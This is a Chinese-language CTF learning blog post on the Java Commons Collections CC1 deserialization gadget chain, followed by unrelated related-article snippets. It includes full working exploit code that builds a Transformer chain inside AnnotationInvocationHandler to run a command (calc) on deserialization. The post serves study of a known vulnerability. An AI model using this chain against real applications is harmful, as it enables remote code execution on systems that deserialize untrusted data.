【心得】java从CC1链入门CC链个人笔记

news/2024/12/22 17:27:10/

来劲了,感觉离真正的CTF又近了一步。

本文仅从一个萌新的角度去谈,如有纰漏,纯属蒟蒻。

目录

CC链概念

CC链学习前置知识

CC1链

Version1

Version2

Version3


CC链概念

CC链  Commons Collections apache组织发布的开源库

里面主要对集合的增强以及扩展类  被广泛使用 如HashMap  HashTable  ArrayList

总结一下CC链:就是有反序列化入口,同时有cc库的情况下,如何进行rce或者文件读取


CC链学习前置知识

Transformer

特征  

1 是一个接口
2 有一个transformer方法,传入一个参数object,穿出一个参数object
3 有点像 转接头  扩展坞

实现类

ConstantTransformer  常量转换器   传入任何值 传出的,都是固定值

InvokerTransformer  反射调用转换器   传入方法名,方法参数类型 方法参数  进行反射调用

ChainedTransformer 链式转换器 分别调用传入的transformer类数组的transformer方法

新的数据结构

TransformerMap  分别可以对 key 和value 执行构造参数里面的transformer转换


CC1链

网上资源有很多,就不班门弄斧了,更多去谈自己做的过程的想法。

贴出一篇:CC1链详解

总结一下就是下面这些步骤

1 ChainedTransformer 配合ConstantTransformer和InvokerTransformer可以执行任意类的任意方法

2 将ChainedTransformer放入TransformerMap后,只要调用TransformerMap的checkSetValue方法,就能够调用value对象的transform方法从而RCE

3 我们要找到一个类,它的属性可以设置为 TransformerMap ,然后它调用了这个属性的checkSetValue方法

4 找到了AnnotationInvocationHandler类,里面的readObject方法 调用了setValue方法

5 setValue方法调用了 TransformerMap 的checkValue方法

6 checkValue方法调用了 Transformer.transform 方法  

最终完成了攻击链条

我做了三个版本迭代,前两个版本不涉及反序列化,就是自己测一测,其中第二个版本后作死尝试尝试去走put触发transform方法,最终失败,于是老老实实走了前人的大路。

Version1

package main;import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;public class Test1 {public static void main(String[] args) {ConstantTransformer constantTransformer = new ConstantTransformer(Runtime.getRuntime());InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{constantTransformer, invokerTransformer});chainedTransformer.transform("Z3r4y");}
}

这里其实就是利用ChainedTransformer的特性,把上一个transformer调用transform方法的返回值(得益于“扩展坞”的特性,Object进,Object出)传递给下一个transformer对象,作为其transform方法调用的参数,以此类推。

再加上ConstantTransformer无论输入什么值,输出的值都是可控的定值的特性,即可以传递给下一个transformer类一个可控的对象

 配合InvokerTransformer(调用方法,参数类型,参数均可控),便可以执行任意类的任意方法

这个版本告诉我们只要可以触发ChainedTransformer的transform方法,就可以触发一条链的transform方法,最终实现RCE

Version2

package main;import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;import java.util.HashMap;public class Test2 {public static void main(String[] args) {ConstantTransformer constantTransformer = new ConstantTransformer(Runtime.getRuntime());InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{constantTransformer, invokerTransformer});HashMap hashMap = new HashMap();TransformedMap transformedMap = (TransformedMap) TransformedMap.decorate(hashMap, chainedTransformer, null);transformedMap.put("Z3r4y","aaa");}
}

这里就是尝试找办法触发ChainedTransformer的transform方法,借鉴前人我们用了HashMap和transformedMap这两个数据结构,然后神奇的发现,transformedMap在修饰HashMap的kv对时,会分别调用传入Transformer对象的transform方法。

我们已经找到可以触发Version1的方法,但这还是不能达到可配合反序列化的目的,按思路走,我们下一步应该找一个类的readObject方法,其中调用同名的put方法。

Version3

绷不住了,就这卡的时间最长,确实没找到调用put的readObject方法,选择放弃未必不是明智之举。

下面都是说烂的东西

AnnotationInvocationHandler类,里面的readObject方法 调用了setValue方法

setValue方法调用了 TransformerMap 的checkValue方法

checkValue方法调用了 Transformer.transform 方法  

最终完成了攻击链条

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import util.SerializeUtil;import java.io.IOException;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.util.HashMap;
import java.util.Map;public class exp {public static void main(String[] args) throws IOException, ClassNotFoundException, IllegalAccessException, NoSuchFieldException, NoSuchMethodException, InvocationTargetException, InstantiationException {Transformer[] transformers = new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})};Transformer chainedTransformer = new ChainedTransformer(transformers);HashMap hashMap = new HashMap();hashMap.put("value", "xxx");TransformedMap transformedMap = (TransformedMap) TransformedMap.decorate(hashMap, null, chainedTransformer);Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");Constructor ctor = cls.getDeclaredConstructor(Class.class, Map.class);ctor.setAccessible(true);Object instance = ctor.newInstance(Retention.class, transformedMap);byte[] data = SerializeUtil.serialize(instance);SerializeUtil.unSerialize(data);}
}

序列化反序列化的工具类:

package util;import java.io.*;public class SerializeUtil {public static byte[] serialize(Object object) throws IOException {ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);objectOutputStream.writeObject(object);objectOutputStream.close();return byteArrayOutputStream.toByteArray();}public static Object unSerialize(byte[] bytes) throws IOException, ClassNotFoundException {ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes);ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);Object o = objectInputStream.readObject();return o;}
}

http://www.ppmy.cn/news/1330916.html

相关文章

数据库:逻辑删除|物理删除及适用性

物理删除和逻辑删除是两种不同的记录删除操作方式,它们各自具有一些优劣势,并适用于不同的场景。 物理删除 物理删除的优势: 节省存储空间:物理删除会直接从数据库中删除记录,可以实现即时的存储空间释放&#xff0c…

2024.1.20

今天主要是以复习为主&#xff0c;以前写过的C语言代码和高数&#xff0c;就在后天&#xff0c;紧张刺激的高数考试就来了&#xff0c;还是有点小慌…… #define _CRT_SECURE_NO_WARNINGS #define _CRT_SECURE_NO_WARNINGS #include<stdio.h> #include<math.h> #i…

多输入多输出 | Matlab实现SSA-CNN麻雀算法优化卷积神经网络多输入多输出预测

多输入多输出 | Matlab实现SSA-CNN麻雀算法优化卷积神经网络多输入多输出预测 目录 多输入多输出 | Matlab实现SSA-CNN麻雀算法优化卷积神经网络多输入多输出预测预测效果基本介绍模型背景程序设计参考资料 预测效果 基本介绍 Matlab实现SSA-CNN麻雀算法优化卷积神经网络多输入…

解密POM:提升自动化脚本稳定性和开发效率的正确姿势!

Page Objects是selenium的一种测试设计模式&#xff0c;主要将每个页面看作是一个class。class的内容主要包括属性和方法&#xff0c;属性不难理解&#xff0c;就是这个页面中的元素对象&#xff0c;比如输入用户名的输入框&#xff0c;输入登陆密码的输入框、登陆按钮、这个页…

openssl3.2/test/certs - 027 - server intermediate ca: sca-cert

文章目录 openssl3.2/test/certs - 027 - server intermediate ca: sca-cert概述笔记END openssl3.2/test/certs - 027 - server intermediate ca: sca-cert 概述 openssl3.2 - 官方demo学习 - test - certs 笔记 // \file my_openssl_linux_log_doc_027.txt // \note open…

爬楼梯算法

引言 在算法和编程领域&#xff0c;爬楼梯问题是一个著名的示例&#xff0c;用于引入动态规划的概念。这个问题看似简单&#xff0c;但其背后蕴含的思想却非常深刻。本文将详细介绍爬楼梯问题的解决方案&#xff0c;并通过实例代码展示如何应用动态规划解决这一经典问题。 问…

47. 全排列 II - 力扣(LeetCode)

题目描述 给定一个可包含重复数字的序列 nums &#xff0c;按任意顺序 返回所有不重复的全排列。 输入示例 nums [1,1,2]输出示例 [[1,1,2], [1,2,1], [2,1,1]]解题思路 解题代码 class Solution {List<List<Integer>> result new ArrayList<>();Deq…

PHP+SOCKET 服务端多进程处理多客户端请求 demo

服务端 $socket socket_create(AF_INET,SOCK_STREAM,SOL_TCP); socket_bind($socket,0,95012) or die( server bind fail: . socket_strerror(socket_last_error())); socket_listen($socket,5);$child 0; //初始化子进程数 while(true){$client socket_accept($socket);$pi…